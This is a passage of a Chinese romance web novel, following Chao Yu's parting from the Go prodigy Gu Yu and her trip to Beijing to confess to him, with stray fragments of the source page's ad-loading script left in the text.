好在没有时不时呲一声的话筒加持,驻唱歌手的杀伤力小了不少。 不知唱了几首后,还没来电。 老板拍着巴掌又想出新招:“哪位客人想上台给大家来一首么?待会儿酒水打八折。” 大概坐着实在无聊,还真有几个人摸索着上台。 该说不说,唱得都比这位驻唱歌手好。 老板又拍着巴掌问:“还有吗?” 很意外地,晁雨听到身边的椅子动了。 她的心没来由跳了下。 这样的水镇和城市不一样,停了电还有遥远的光映照过来。这里就是黑,纯黑。 眼睛坐了这么久,也还没适应这样的黑暗。晁雨默默坐着,两只手捏到一处。 其他人上台时都打着手机电筒照路,但辜屿没有。他在一片黑暗中前行,也没撞到桌子椅子什么的,好像这片区域的每个细节早印在他脑子里,他下盲棋时就是这样。 他走到台边,老板才发现有人来了,正想掏出手机给他照亮,他压低声说了句“不用”。 他走上台,听动静,他应该是抱起了那把木吉他。 晁雨说不上心里什么滋味。 她现在知道辜屿为什么从不唱歌了。他甚至不怎么听歌,因为音乐的情感太充沛,他本能后退,本能远离,就像他再不主动奔跑一样。 可辜屿这时抱着吉他轻扫了下弦,很简单的和弦,像试音,伴着他低低清嗓的一声咳。 辜屿冷薄的嗓音很有辨识度,还好在这样的黑暗里,听起来像他本人,又不像他本人。 毕竟,没人会想到举世瞩目的围棋天才出现在这里。 两秒的空白,填补了黑暗。 接着辜屿开口唱: [Youcutmedownatree, Andbroughtitbacktome, Andthat''swhatmademesee, WhereIwasgoingwrong.] 辜屿不可能会弹吉他。 晁雨看不懂围棋,所以并没切身体会过人们说的“怪物”智商是什么意思。可辜屿只是和她一起,在这里坐了一晚上,看着那烟嗓的驻唱歌手拨弦,也许拿手机查了查指法,马上自己就能上手。 当然他弹得不是完整的旋律。 只是一组应和着他嗓音的和弦,时有时无。 这是一首很哀伤的歌。 晁雨坐在一片黑暗里,说不上为什么,在辜屿唱第一个单词时,便打开了手机的录音。 旁边有女生在小声说:“靠,也太好听了吧。他是唱给谁的呀?” 公平来说,辜屿唱歌没什么技巧可言,只是他的嗓音太特别,像在唱一些他永远不会说出口的话。 旁边女生的那句议论,便和辜屿的歌声,一同灌注进了晁雨的手机里。 辜屿在唱: [Thestreetsyou''rewalkingon, Athousandhouseslong. Well,that''swhereIbelong, Andyoubelongwithme.] 像他们反反复复走过的、铺着青石板的街。 像他们度过的很多很多年时光。 在最后一个音符落下时,晁雨摁下录音的停止键。手机亮起一瞬,在一片黑暗里,晁雨不知辜屿放下吉他时,是不是往她这边看了眼。 晁雨把手机放回口袋,辜屿走回桌边来。 老板又拍着巴掌问:“还有吗?还有谁想唱吗?” 不知是否辜屿的这首歌太特别。 再没其他人上台了。 晁雨在一片幽暗里坐着,为什么黑暗会强化人的听觉,以至于她连呼吸都要努力控制,不敢让辜屿发现她任何情绪的波澜。 总算这时,又啪地一声,来电了。 晁雨掏出手机扫码,辜屿先她一步付了钱,然后说:“走吧。” 回了房间,两人各自洗澡,又各自上了一张单人床,背对背而眠,再无话了。 直到这时,晁雨才掏出手机,藏在被子里,悄悄摁亮看了眼。 3分29秒。 辜屿刚刚唱那首歌的时间,是3分29秒。 晁雨默默摁熄了手机,让它躺在床头充电。 她侧躺在黑暗里往外望去,薄纱窗帘拉着,外面的路灯影影绰绰,看不到那条蜿蜒的溪。 晁雨心想,辜屿那样的人,她估计此生都听不到他亲口说出的“喜欢”二字了。 辜屿说出的喜欢,更默默、更漫长、也更曲折。 总共是3分29秒。 52. 第七件小事03 一夜睡得并不踏实,晁雨总能听见溪畔的蛙鸣,噪噪杂杂。 第二天一早,两人各自洗漱,晁雨带着她那录制过3分29秒的手机,和辜屿开车回了洵州。 毕竟今天晚上,辜屿就要离开了。 他终将越飞越高、越飞越远,晁雨这样站在地上的人,此次一放手,就再也抓不住他了。 既然逃到曲塘、还是知道了辜屿离开的确切时间。 这会儿晁雨应该像她渴盼成为的、一切圆滑的成年人那样,故作轻松跟辜屿随便聊聊:“行李收拾好了么?” 可她说不出话,只是歪头靠着座椅,望着车窗外快速切换的景象。 辜屿握着方向盘目视前方:“困的话可以睡会儿。” “嗯。”晁雨轻轻地应了声。 她闭上眼,透过车窗的阳光晒得人眼皮发烫。眼前残存着阳光刚刚在玻璃形成的光斑,晁雨抱着双臂阖眼假寐,却把辜屿身上的气息闻得更分明。 那是一种洁净的、清冽的、像月光下结了霜的溪流般的味道。 晁雨阖着眼想: 要是以后逛街的时候路过香水专柜,再闻到类似的味道,她会有那么一瞬倏地站定脚步么? 一同逛街的人一定会问她:“怎么了?” 她要很努力地把那股情绪咽回去,才能若无其事地笑道:“没怎么啊。” 晁雨假装睡熟了,额轻轻磕在车窗上。 心里在这样一阵微痛中想: 其实,就连这样的机会她也不会有了。 因为辜屿身上的味道,不是任何品牌的香水能模拟的。 这个夏天,终将消弭得无影无踪。没人像灰姑娘那好心的仙女教母一样,在马车变回南瓜后,留下只水晶鞋供她回味。 直到这时晁雨才发现。 原来最难过的,是一阵秋风乍起后,她连难过的线索都不会再有了。 无论晁雨怎样装睡,车还是平稳地开到了晁家老宅外。 辜屿没有叫晁雨。 停车静静坐在驾驶座上,好像决心等到晁雨自然醒来。 晁雨装睡了多久呢。她失去了时间的概念,可又像有另一只时钟,在她脑中滴滴答答地读秒倒计时,算着离今晚辜屿离开的时间还有多久。 终于她张开眼。 有一瞬犹豫要不要装出睡意朦胧的样子。可辜屿清朗地坐着,眼神望过来,也许并没有相信她真的睡着。 晁雨喃喃地说:“那,我走了。” 辜屿从车上下来,帮她拿下后座的行李袋。 晁雨半低着头,拎着行李袋往前走了两步。 秋风乍起的一瞬,拂入人的毛孔,她脚步很微妙地顿了顿,桂花还未真正意义盛开,可是就在这一瞬她意识到,秋天要到来了。 这个狂烈的、炽热的、却又隐秘不为人知的夏天,再怎么留恋不舍、赖着不放,也将要过去了。 晁雨把被风拂乱的发丝勾回耳后,有那么一瞬她想回头,跟辜屿说一声“再见”。 可是语言真奇怪。 明明是再也不见的人,最后说的一句话,却又偏偏是“再见”二字么? 晁雨这样想着,终是没有回头,拎着包走回了家。 她以为心里会空荡荡的,可事实上心里堵得难受,那种空落落的感觉一路往下落,落进胃里,她忽然觉得饿得惊人。 她去厨房翻找了下,并没找到葛洁把桂花元宵冻在哪,所以煮了两只荷包蛋,用一只青花缠枝的福纹大碗盛来吃了,加了大量的糖,连她一个洵州人都觉得甜了。 囫囵吞下后,她又觉得异常的困,简单洗了个澡,在她拙朴雕花的木床上倒头便睡。 她以为会梦到辜屿,事实上什么都没梦到。她只在半梦半醒间,听见风从半开的木窗棱间吹进来,拂动着她放在书桌上的古建筑图册。 真神奇,听那铜版纸哗啦啦摇动的声音,比夏天更舒缓的,竟也能感到这阵风里饱含了秋的意味。 晁雨在睡梦中对自己说:不要醒,不要醒。 最好就这样睡个一天一夜,辜屿已离开洵州。接下来,盛夏抽离,秋日降落,直到罕见的雪覆白了雩溪,她仍酣然睡着。 春夏秋冬又一年,她离这个失控的夏天越远越好。 直到它变成了记忆中一张发黄的明信片,锁进蒙尘的抽屉,再不开启。 可是,晁雨胸口抽动了两下,仍是醒了过来。 她把手臂打横搭在额前,望着窗外碧蓝的天,那样高阔的蓝调,也蒙了秋的滤镜。 她抓过床头的手机看了眼。 居然才下午三点。 她放下手机,迷茫地对着窗外望了会儿。无论如何,再睡不着了。 晁雨从床上起来,换了衣服出门。 她去了木材厂。 木材厂的厂长是徐叔,上了年纪了,闲不住,仍在厂里忙活着。 晁家老宅里木器多,再有屋体结构也老了,漏雨漏风什么的,晁正声免不了请这位徐叔帮忙。晁雨从小也常来厂里玩,这会儿熟稔地打招呼:“徐叔。” 满耳的嗡鸣声和满地的木屑中,徐叔抬起头来:“小雨?” “你怎么来了,家里什么坏了?” “没什么坏了。”晁雨笑道:“来做个小玩意。” 她戴上护具,刨了块木头,就不影响别人干活了,自己缩到一旁,拿小凿子慢慢凿。 凿子推着木屑,一点点碎落。 木头没知觉,可很奇怪的,心里酸酸涩涩,碎屑落了满地。 晁雨抬手揉了揉眼。 “哎唷!”刚巧徐叔看见她动作:“满手的木头渣子怎么往眼睛里揉呢!多脏啊。小时候都记得的事,怎么长大反而忘了?” 晁雨笑着应和:“是,瞧我这脑子。” 心里却想:木头渣子揉了点进眼里,反而好啊。 这样眼底阵阵没来由的酸涩,不就有了因由么? 她终于耗尽整个下午,做成了一个小小木塔的挂件。她给这小木件套上钥匙扣,跟徐叔打了个招呼,动身回家。 木安街尾,远远停着辆网约车。 司机扭头问后座蒙着黑色口罩的辜屿:“不是赶飞机吗?再不走该晚了。” 一直到晁雨纤窈的身影映进夕阳里,入了辜屿的眼。 辜屿的眼略垂下来,盯着自己垂放膝头的、尺骨分明的手。 半蜷着握了握,又放开,最终跟司机说:“走吧。” 网约车载着辜屿离去,滚滚车轮轧着青石板路,溅落的是这盛夏最后的夕阳。 辜屿目视前方,心想:也好。 晁雨没有看见他。 直到网约车转过街角,晁雨仍站在她家老宅的木门外,盯着自己不知何时沾了木屑的鞋尖。 她看见了。 她怎会没有看见呢。 她只是不知道该说些什么、做些什么。也许带三分秋色的街景,天际那轮浑圆的夕阳,已为这个夏天划上足够动人的句号了。 她不该再说些或做些什么冗余的去破坏了。 可就当她准备抬脚踏过门槛的时候。 她忽而转身,在那条摇摇晃晃的青石板路上狂奔起来,踏碎了一地夕阳。 她当然是追不上车的。 她心里知道自己追不上,可仍挥动手臂奋力地跑着,直到气喘吁吁、肺里抽痛的感觉一路漫延到嗓子眼。 直到感觉下一秒就要摔倒在地,她才终于停下来,佝偻着腰,双手撑着膝盖,嘴里发出嗬嗬地呼吸声。 她这才发现,别说辜屿已很久不曾奔跑。 她作为一个总希望得体、总希望自保的成年人,又有多久没这样拼尽全力奔跑过了? 心里又一次冒出那个念头:如果她只有十七岁,就好了。 十七岁的她也不是超人,也许比现在更普通。 可十七岁的她是否比现在更冲动也更勇敢,在网约车开走以前,她已攒够勇气敲开那车窗,看着辜屿的眼睛说出那声“再见”。 不知喘了多久的气,她终于直起腰来,望着网约车离开的方向,一轮残阳如旧时美人拓在绢帛上试色的胭脂。 再见了,辜屿。 她在心里默默地说。 真的很后悔,已经开始后悔,没有当面好好跟你说一声“再见”。 你看过那么多猝不及防的背影,你本该值得一声好好的“再见”。 - 晁雨终于背着帆布包,一路步调沉沉地回了家。 葛洁已回家做晚饭了,一看她吓了一跳:“跑到哪里疯去了?啊哟又变成小时候那样子,头发哦就没好好梳好过的。” 晁雨只是笑笑。 葛洁一边烧水,一边絮絮说着:“也不知二狗子什么时候走。你们现在的年轻人哦,一个两个都是这样,送也不叫送。” 晁雨张了张嘴,想说他已经走了。 可心里那种堵了太多飘絮的感觉一路漫延到嗓子眼,她说不出话来。 也许眼看着年轻人一个个离开,葛洁又开始珍惜起晁雨了。今晚菜色异常丰盛,鲜甜甜的本地萝卜切丝炖煮了带鱼,一抿即化的芋艿烧排骨。 再炒个时令小菜,另煮了桂花元宵。 发挥完又觉得有点超过,看着那满满一桌菜:“啊呀,我们俩哪里吃得完……待会儿多给你爸送些去。” 话虽这样说,却发现晁雨胃口好得过分。 大块大块的芋艿往嘴里塞,又给自己盛了整碗的桂花元宵。 葛洁觉得不对劲了,上手去抢她手里的筷子:“你怎么了,饿死鬼投胎啊?去曲塘水镇玩没吃饭还是怎么着?” 晁雨笑道:“我没怎么啊。” 她没像听到辜屿要走的那晚一样不会笑。她还会笑,看上去一切如常,发现葛洁正盯着她瞧,她笑得更开心了点。 只是揉着自己的胃道:“妈,我还想再吃一碗桂花元宵。” 真的,她一切都好。只是早上那种空落落的感觉从心里落到胃里,一路延续了下来。 晚上她照常去扫塔,周一一早她照常去上班。 从帆布包里掏出那小小木塔做成的钥匙扣,抛给九叔:“送你。” 九叔瞥了眼:“送我这干嘛?” “我们现在不是在一起修劝宁塔么?” “那是你,你一个人想修,没有什么‘们’。”九叔虚虚点着她:“也不知你白 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 费那劲干嘛。” 晁雨把手垫在下巴下,就那样撑着头:“因为劝宁塔是不会变的啊。” “不管离开洵州多久,再回来的时候,就算周围的一切都变了,劝宁塔是不变的。” 九叔鼻腔里哼一声:“天真。” 平时被这样说的时候,晁雨或许会反思下。 可这时她笑道:“天真不好吗?” 她也就只剩这么一点为数不多的天真了。 她就这样与平常无异的上着班,直到这天晚上,许辰懿给她打视频:“姐们儿今年生日怎么过啊?这么多年了,这好像是第一次我没陪你过生日。” 晁雨这才发现,她的生日就要到了。 辜屿已离开洵州多少天了呢? 她没数过。不想数,也不敢数。 第二天一早,葛洁也问晁雨:“明天就是你生日了,想吃什么?” 晁二柱在一旁表示不满:“妈你偏心,每年寒假我过生日,你也没问过我想吃什么?” 葛洁单手叉腰,挥舞着汤勺:“你姐都多少年没在家过生日啦?” 晁正声今早抹了护腰的油,没急着出摊,在天井里侍弄着他的花花草草:“吃什么,当然是吃桂花相关的咯。桂花炒年糕、桂花糯米藕、桂花鸭、桂花糖芋艿……” 晁雨听得脑壳疼:“爸,你能不能别琢磨给我改名叫晁桂花这事了?” 晁正声干笑两声,背着手走开了。 晁雨仰头望着天井里那棵百年的老桂树。 每年她生日的时候,这棵桂树开得最盛,也揭开了每个秋天的序幕。 这也就意味着,盛夏的一切,好的坏的,激烈的炽热的,也该就此翻篇了。 第二天晁雨生日,晁二柱本该这天返校,为了她,特意买了晚上的高铁票。 葛洁烧了满满一大桌菜。天凉下来,一张老木料的圆桌支在天井里,树影做客,月光温酒。 葛洁没听晁正声的做那么多桂花菜肴,因为没有必要。 夜风一摇,盛开的桂花瓣簌簌而落,主动赶来为每道菜添香。 晁正声开了一坛桂花酒:“这可是你出生那年埋在树下的桂花酒。” 晁雨挺无语:“爸,你这酒坛子上还挂着张家酒铺今年的新标呢。” 晁正声嘿嘿地笑:“这么说不是显得贵重么?” 晁二柱过来敬酒,递给晁雨一个红包:“我也不整那些虚的。” 一句话在晁雨心脏上戳了下。 许辰懿离开后,晁二柱一次都没问起过她。 可这个“也”字从何而来?还有谁说过生日除了钱、给别的都是虚的? 晁二柱吃饭吃得有些赶。 嘴里还嚼着,已站起来走到墙边去拖行李箱:“再不走真来不及了。” 他叫的车已经停在门外,晁雨送他出去。 晁二柱挠了一下头:“姐……” 吐出这个字便没了下文。 也许他想说,姐想不到你变成了留在洵州送所有人走的那个。 又觉得这话太过煽情,什么也没说的拖着行李箱上车。 晁雨走回天井,晁正声喝多了话就有些多,拉着葛洁的手在那抒情:“老婆,你就是我们家的主心骨……” 晁雨笑着陪聊了两句,插不进这腻歪的话题里,便含着笑把手机摸出来。 先看了眼所有对话框,又开始无聊地刷朋友圈。 手指机械性往下滑,直到朋友圈的时间显示“1天前”的时候,她倏然停下。 她在找什么? 难道她的生日,辜屿还会留下只言片语么? 她宁可不要。 她宁可辜屿真的刀枪不入,真的冷情冷性,真的头也不回。 晁正声还絮絮和葛洁聊着,葛洁给晁雨使个眼色。 那意思是:你无聊就上楼玩会儿,看你爸抒情这架势,还早。 晁雨笑笑,起身上楼。 先去了趟洗手间,拧开水龙头洗手的时候,刚巧许辰懿打来视频。 她点摁接通:“喂?” “姐们儿你干嘛呢?我怎么就看着一天花板。” “上完厕所洗手呢。” “嘿,瞧我这视频打得真是时候。我跟你说,你这两天记得收快递啊,我给你寄了个礼物。” 晁雨带着满手泡沫有点急:“你不是给过红包了吗?怎么还送礼物,你要是再乱花钱,我把红包退给你了啊!” “不是什么值钱东西。就一瓶眼霜,不贵,国产牌子,还挺好用的。我自己买了,就顺手给你寄一瓶。”许辰懿慨叹道:“你说我们是不是也到初老的年纪了?” 晁雨在流水下冲洗的手一顿。 凑近盥洗镜,仔细瞧了瞧自己的眼周。 真的,如果特别用力看的话,她已经二十七岁了,眼角开始若隐若现冒出第一道细纹了。 她回答许辰懿:“或许是吧。” 有人说,最容易出卖女人年纪的是眼或颈。 晁雨却觉得,应该是心。 她没法看到自己的心脏上,是否也有细细的沟壑纹路。 她只是清楚地知道,她已经失去奋不顾身的勇气了。 53. 第七件小事04 晁雨跟许辰懿聊了一会儿,许辰懿咂着嘴道:“可惜今年不能跟你一起过生日了。” “啧,我这小心脏怎么还觉得有点小遗憾。姐不该是这么多愁善感的女人啊!” 许辰懿的客户来电,两人这才挂了电话。 晁雨走出房间,俯在木连廊里往天井里看了眼。 晁正声抒情终于抒得差不多了,葛洁正扶着他回卧室。 晁雨蹬蹬蹬踏着老旧的木楼梯下楼,到天井里跟葛洁一起收拾碗筷。 葛洁一拍她手背:“寿星女还做这些事呀?” “那怎么办呢?”晁雨故意逗她:“你老公酒量不济,喝趴了,我不帮你谁帮你?” 葛洁做的菜太丰盛,晁雨陪她把吃剩下的菜收进冰箱。 剩下的碗碟却也堆满了洗碗池,简直不知要料理到什么时候。 葛洁把手里的瓷碟轻一丢:“去他的!让你爸明天酒醒了来洗。” 晁雨也跟着她把手里的瓷碗一丢,嘴里道:“去他的!” 母女俩笑作一团。 挽着手走出厨房,走到那棵满冠盛大的桂树下,晁雨忽然说:“妈,对不起。” 葛洁斜她一眼:“你不会要说什么‘孩子的生日是母亲的受难日’这种话吧?” 晁雨摇摇头:“是那年你过生日,我没能赶回来陪你。” “啊呀。”葛洁搡搡她:“你爸好不容易抒完情,你怎么又来?” 晁雨就是心里过不去。 在葛洁最需要他们的时候,他们却谁都没陪在葛洁身边。 葛洁看看她脸色:“还真上心啦?没事的呀,那年我过生日,你不是让二狗子回来祝我生日快乐了吗?没事的没事的,我那时候不寂寞的呀。” 晁雨怔住:“什么?” “你不会不记得了吧?喔唷别是在北京的时候加太多班,把脑子加坏掉了呀。”葛洁用食指戳戳她太阳穴:“你晃一晃头,我看看能晃出水来伐?” 晁雨:…… 她问葛洁:“那年你过生日,辜屿回来了?” “是的呀。他到的时候,大概就是现在这时候,晚上十一点多了,我的生日快过去了。老实跟你讲哦,我那天查出胸里有肿块,心里是不怎么爽快的。你爸给我煮了长寿面,我俩吃完,早早就睡了。” “睡也睡不着,就听到有人敲我们房门。我就起床披了件衣服去开门,我跟你说我们水乡湿气重你晓得吧?尤其入了秋,夜里起来一定要披一件衣服的,你有没有照做?” 葛洁像天底下所有的妈妈一样,讲起话来絮絮叨叨。 晁雨也没法催促她,就那样听她慢慢说着。 “我打开门一看,居然是二狗子。他那天应该有比赛,从别的城市赶回来的,我的生日快过完了嘛,他下了车应该是跑过来的。跟我说话的时候还在喘,他说,葛阿姨,我替晁雨回来,祝你生日快乐。” 晁雨问:“他是跑过来的?” “是的呀。喘成那样子哪能不是跑过来的啦?啊哟你说二狗子这孩子,是不是有点虚呀?” ……她妈跟她亲闺蜜一个毛病。 “我老实跟你讲,二狗子赶回来当面跟我说这一句‘生日快乐’,我可开心了。腰板都挺直了呀,我当时就望了眼天,心想老天爷你看见了吧,孩子们都惦记着我呢,你可不要那么快催我走呀。” “可能是因为这好兆头哦,过了段时间切片结果出来,良性的!我没事了呀。阿弥陀佛,虚惊一场。”葛洁拍拍晁雨的手:“你也别把这事放在心上了,你看,我这不是好端端的吗?” “寿星别想那么多,过生日要无忧无虑,这一年兆头才好呀。上楼睡觉去吧。” 晁雨上楼洗了澡,躺到床上。 却不可能睡得着。 想起刚才葛洁说辜屿:他是跑过来的。 晁雨拧开台灯,从床上爬起来,打开新闻网页,试图搜索出当年葛洁生日那天、辜屿是在哪里比赛。 日子太久,却已搜不出相关新闻了。 她想了想,又登上微博,找出辜屿的一个大粉。顺着微博一条条往下翻,终于翻到那一天,辜屿是在胶州比赛。 她松开鼠标,靠住木椅椅背。 从木安街下车,到晁家天井里这一段路,辜屿就算跑着,也不至于喘。 晁雨算了算时间。 从辜屿比赛结束、到晁二柱给辜屿发微信、到辜屿赶至机场、又转车赶回洵州。 其间的时间非常紧,那一路,辜屿应该都是跑着。 原来藏在很多年的时光里。 在晁雨一无所知的角落。 辜屿也曾那样用尽全力的奔跑过。 她仿佛能看见当时的少年,薄削的身段,穿宽大的黑T,一跃而过机场台阶的时候,T恤随跑步的速度猎猎,像随风扬起的翅膀。 第二天葛洁打着哈欠起床的时候,看见晁雨坐在厨房门口的台阶上,吓了一大跳:“你起那么早干嘛?失眠啊?” 晁雨站起来:“妈,昨天我生日,吹蜡烛的时候你说也要许愿,许什么愿了?” “你问这干嘛?说出来就不灵光了呀。” 晁雨笑了笑。她拎着一个“渔东家”的打包袋,是以前用过的,大红色的塑料袋上已有折痕。她们家就是这样,会把打包的袋子收在一个角落,下次再用或者装垃圾。 葛洁看了眼,还没来得及问她装的什么。 便听她问:“妈,要是我做你不希望我做的事,你会不会很难过?” “你要干嘛?犯法啊?” “……”晁雨:“我倒是敢。” “量你也不敢。”葛洁上前,顺了顺晁雨肩头的乌发:“你们都大啦,我心里清楚得很,哪能事事都由得我呢。你猜我昨晚许的愿望是什么?” 这下她倒又肯说了。 她冲晁雨温和地挑唇:“祝我的女儿生日快乐。” “生日快乐”这句话因出现得太频繁、早已显得不那么稀罕了。它被印在贺卡上,写在蛋糕上,输入进一条条充满社交意味的信息里,又被人一眼扫过,转瞬忽略。 可当葛洁把这句话认真的、温和地说出来。 它又变作了一位母亲最切实的愿望——我知道我的女儿日日快乐太难。 那么至少,在每年生日这天,祝我的女儿由衷快乐,快乐就好。 晁雨笑了。 笑得眼眶热热的,她上前拥抱葛洁,然后说:“妈今天周末,我去趟北京。” “哦。”葛洁望着晁雨匆匆跑出门外的背影,半分钟后才反应过来:“啊?!” 晁雨一路去了火车站。 她甚至没带任何行李,就拎着个“渔东家”的红色打包袋。 其实她昨天几乎在厨房门口的台阶上坐了整夜,大把大把的时间,也不知怎的没去收拾行李。 大概因为不知道要收拾些什么。 她满心满脑,都被另一件事占据着。 她在回想自己的十七岁。 她的十七岁,被无数的卷子淹没,没什么朋友,晚自习开始前的那段空档时间,她会登上云泉高中那清代传承下来的木楼,暗漆红的棱柱早已随岁月斑驳,她坐在廊边晃着脚,咿咿呀呀地背“北冥有鱼,其名为鲲。鲲之大,不知其几千里也”。 有一次,杨亦哲踏着夕阳路过。 有那么一瞬间,杨亦哲抬起头来。 青春期的女孩素来敏感,哪可能不知道有人在看自己呢。晁雨嘴里继续背着“且夫水之积也不厚,则其负大舟也无力”,帆布鞋尖轻蹭着同样斑驳的红漆木地板。 她只是假装没发现杨亦哲的注视而已。 杨亦哲走开了。 她的肩膀松懈下来,说不上是舒一口气,还是也有少女的淡淡怅然。 晁雨想着这些,登上了去北京的火车。 到北京的时候正值正午,陡然到了北方,才发现秋色已这样浓了。地铁站依然高悬着辜屿的海报,晁雨坐地铁去辜屿家的小区,从地铁站出来又走了好一阵。 枯黄的落叶在脚边碎落,被脚步踩出咔咔的碎响。 晁雨以为她会用跑的。像辜屿离开的那晚、她奋力去追那辆网约车一样。 事实上她一点没跑,她只是慢慢走着。好像要给自己留足时间,看自己要不要反悔一样。 进小区时做好了繁冗登记的准备,想不到保安对她行个礼,就这样放行。 晁雨微一怔。 辜屿为她办的通行许可,竟是永久有效。 她轻掖一掖唇角,往辜屿家的别墅走去。 抬手按门铃,并没真正想着会有人来应。但事实永远出人意料,在她还没做好准备的时候,门开了。 辜屿站在那里,宽大黑T,清隽素淡。 北方已彻底入了秋,他站在北方的一片秋色里,距离南方盛夏那个同她失控的少年,应该已经相距甚远了。 晁雨仔细看了看辜屿的脸。 显出了那么一点陌生吗?或许吧。但很怪的,她仍想抬手摸一摸。 她问辜屿:“你为什么在家?” 辜屿抬手摁了下自己的后颈:“昨晚没睡好。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 为什么没睡好? 这问题晁雨没问。 辜屿抬手捏后颈的动作有些生活化,这让他离华丽海报上的辜屿远一点,离洵州日常里的辜屿近一点。 晁雨开口:“回想我十七岁的时候,真的很无聊,除了做卷子什么都不做。” 辜屿看着晁雨。 大概没想到她突然跑到北京来、跟自己忆什么当年。 晁雨咧嘴笑了下:“我以前总想,要是我现在才十七岁,认识你,我们俩的结果会不会不一样。” “其实不会。” “十七岁的时候我一样胆小、怯懦,你知道吗我对高考成绩不满意,但我甚至不敢复读,我怕复读一年考出来的成绩更差。我从来都是这样一个不敢冒险的人。” “可是,辜屿,要试试看在一起吗?” 辜屿的眸光顿了顿,眸子抬起来的动作是慢慢的、渐渐的。 晁雨这才发现,辜屿先前其实并没直视她双眸,而是盯着她鼻尖。 直到现在,辜屿真真正正看着她了,她手里还攥着个“渔东家”的打包袋,掌心里不自觉沁出了汗。 她说:“我知道你想主动搞砸一切,因为怕事情发展得更糟。你怕,我也怕,你看。” 她抬起自己的手给辜屿,细细掌纹里微沁着汗。 又咧嘴笑了笑:“可是十七岁就没有的勇气,二十七岁还没有的话,难道要等三十七岁、四十七岁、五十七岁么?” 她看着辜屿笑,唇角的弧度因紧张有些发劲,可眸光很温柔。 “辜屿,我没办法跟你承诺什么我们会一直好好在一起,我甚至现在都没法想象我们谈起恋爱来什么样。你习惯了冷淡,也许暗恋的方式对你更舒服,我习惯了退缩,一有风吹草动我就想着自保。” “不过,试试看吧。”晁雨又咬一咬自己下嘴皮,因为她发现自己的唇在微微发颤:“与其就这样放手,不如试试看,看我们在一起,到底能走多远。” 走多远这事,晁雨心里真的是没谱。 一个二十三岁锋芒正盛的大明星,一个二十七岁被大城市淘汰滚回老家的熟女。 辜屿看她许久。 挑挑下巴问她:“拿的什么?” “哦,这个。”晁雨扬扬手里那土土的红色打包袋:“我的生日蛋糕,切了块给你带来。挺傻的是吧,我也是上了高铁才反应过来,蛋糕这么久没冷藏,肯定是不能吃了。” 为什么要带生日蛋糕。 因为“生日”两个字后面,跟的往往是“快乐”。 长长久久的快乐太难了,晁雨希望至少在她生日这一天、在她一生中也许最为勇敢的这一瞬间,他们对彼此伸出手,至少这一刻能够快乐。 辜屿说:“我拒绝。” 晁雨愣了愣。 “哦……”她先是这样应了句。 也许这整趟行程显得太过梦幻了,它像一场从日常生活中的私奔、像一场英雄主义的出逃。晁雨想着跟辜屿在一起这件事,看着高铁车窗外的景色变换。 她这才发现,她甚至没有想过辜屿会拒绝这种结果。 现实大抵永远让人难堪。晁雨的第一反应是微笑,不想让任何人看出她的狼狈。 足尖轻蹭了蹭地面,北方入了秋,但临近正午的阳光还是烈,晒着她后颈,让她浑身都出一层薄薄的细汗。 她想说“没关系”,刚翕了翕唇。 辜屿再次开口:“我不想再看任何人的背影了。在我这里,没有试一试一说。” 他问晁雨:“你想好了吗?在一起,就是永远在一起。” 晁雨微睁大眼。 辜屿的唇形很薄,显得过分理性而薄情。晁雨没想到,“永远”这个浪漫的、奋勇的、飞蛾扑火般的词,会经由这双唇,比她更为决绝的先说出口。 在晁雨愣怔的瞬间。 辜屿攥过她纤细的手腕,顺着惯性的力道将她往自己怀里一带,顺手关门,晁雨发现自己落入了辜屿怀抱与玄关墙面的夹角里。 辜屿从来不是一个多温柔的人,他的吻也是、拥抱也是,都是凌厉而富有进攻性。 他吻了下来,长驱直入地霸占晁雨的唇齿。晁雨仰起下巴来承接这个吻,两人的身高差让她本能想要踮脚,辜屿双手箍住她纤腰,虎口微微把她往上拎似的。 晁雨刚开始是承接,后来小臂绕过辜屿后颈,加深了这个吻。 当两人气息都开始不稳的时候,她贴到辜屿耳边,气息摩挲着辜屿的耳垂,轻声问: “我在你肩头咬一口的那伤口,还在么?” 54. 在一起01 当两人跌入辜屿卧室的床,晁雨这才知道,辜屿以前是有所保留的。 他真像一个浑身长满鳞甲的怪物,怕把自己所有锋利的爪牙露出来会伤到人似的,藏在黑暗里,只放出自己认为安全的那部分。 当这时,他发现自己被全盘接受,才把那些真正锋锐的、尖厉的、甚至让人觉得危险害怕的部分放出来。晁雨沉沦在他怀里,牙根都在发力,喉咙里紧紧的。 他吻晁雨的下巴:“这里隔音很好。” 晁雨翕一翕汗涔涔的睫毛,是想瞪他,可眼底尽是旖旎的水光,映着双颊的坨红。 他又去吻晁雨的睫毛:“不要忍,姐姐。” 简直不知发生了多少次。 晁雨被他折叠在身下,转着脖子跟他说:“够了……下一次再……” 辜屿停下来。如果晁雨这时有力气看他的话,会发现他唇角缀着若有似无的笑意。 他精力倒好,扯过浴巾去洗澡。淋浴时,抬手揉一揉自己的唇角,晁雨刚刚咬过的。 他甚至说不上是刚才这场缠绵、还是听晁雨说“下一次”,哪件事让他心情更好。 辜屿帮晁雨简单清理了下,晁雨沉沉睡了一觉,这才攒出力气去洗澡。 之后又窝在沙发上刷了阵手机,辜屿去煮面。 晁雨是真饿了,挑了两大筷子后问辜屿:“你这煮面的手艺,能不能跟我妈好好学学?” 辜屿瞥过来。 晁雨:“我开玩笑的。” 辜屿这时却又接了句:“可以。” 饭后辜屿洗了碗,两人靠在沙发上,辜屿是拿平板线上对接工作,晁雨则是拿手机给许辰懿打电话。 “喂。” “喂?”许辰懿高亢嘹亮的嗓音传来:“你这时间给姐们儿打电话干嘛?我还没下班呐!” “我知道,我就问问你想不想跟我一起过生日。” 许辰懿愣了愣:“明年,明年我一定想办法请假去洵州……” “今年不行吗?” “嘿!你这不是无理取闹吗,你明知道姐们儿刚请那么久年假,这要再硬请,被开了明年谁给你包红包?” “你不跟我一起过生日,就是不爱我。” “你这么说可没道理了啊……” 眼看许辰懿真要发急,晁雨笑了:“你不能去洵州,我来北京行不行?” “那行啊!”许辰懿一巴掌拍在大腿上,又哆哆嗦嗦去揉:“啥时候来!” “现在。” “啊?!” 晁雨又笑:“我现在就在北京。” “你等着啊,等着。”许辰懿扬声喊:“Landon,Landon!看看你Cici姐今天还有会没。” 又压低声跟晁雨说:“姐们儿现在也是有助理的人了,牛掰吧。等我忙完就来找你!” 说完咣叽就把电话挂了,还是那般风风火火。 辜屿从平板上掀起眼皮,瞟了晁雨一眼。 